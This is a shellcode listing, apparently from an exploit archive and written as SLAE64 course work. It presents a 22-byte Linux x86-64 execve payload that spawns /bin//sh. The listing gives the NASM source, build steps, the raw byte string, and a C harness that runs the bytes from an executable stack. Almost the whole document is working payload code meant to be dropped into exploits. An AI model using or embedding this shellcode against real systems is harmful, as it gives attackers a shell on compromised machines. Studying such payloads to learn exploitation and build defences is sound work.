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Linux/x86-64 - execve Shellcode (22 bytes)
[;Title: execve shellcode 22 bytes
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Shellcode in 22 bytes to get a shell
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux
;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell
global _start
_start:
mul esi
push rdx
mov rbx, 0x68732f2f6e69622f ;/bin//sh
push rbx
lea rdi, [rsp] ;address of /bin//sh
mov al, 59 ;execve
syscall
/*compile with gcc -fno-stack-protector -z exestack */
unsigned char code[] = "\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";
main()
{
int (*ret)()=(int(*)()) code;
ret();
}
# 0day.today [2024-11-16] #